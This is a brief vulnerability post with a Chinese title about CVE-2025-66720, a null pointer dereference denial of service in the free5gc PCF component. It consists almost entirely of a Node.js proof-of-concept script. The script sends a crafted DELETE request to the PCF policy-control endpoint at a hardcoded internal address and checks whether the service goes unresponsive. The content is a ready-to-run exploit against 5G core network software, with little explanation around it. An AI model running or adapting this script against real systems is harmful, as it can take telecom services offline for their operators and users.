CVE-2025-66720 free5gc PCF空指针解引用拒绝服务漏洞

// CVE-2025-66720 PoC - Null Pointer Dereference in free5gc PCF // Target: free5gc PCF < 1.4.1 // Attack Vector: Send crafted DELETE request to /npcf-policy-control/v1/policies/{polAssoId} const http = require('http'); const targetHost = '10.0.0.1'; // PCF IP address const targetPort = 8080; const polAssoId = 'malicious_pol_asso_id'; // Triggers null pointer const options = { hostname: targetHost, port: targetPort, path: `/npcf-policy-control/v1/policies/${polAssoId}`, method: 'DELETE', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer invalid_token', 'X-Forwarded-For': '10.0.0.2' }, timeout: 5000 }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); console.log('PoC request sent. Check PCF service availability.'); }); req.on('error', (e) => { console.log('Error occurred - potential DoS condition:'); console.log(e.message); }); req.on('timeout', () => { req.destroy(); console.log('Request timeout - service may be unresponsive'); }); req.end(); console.log('CVE-2025-66720 PoC - Sending malicious DELETE request...');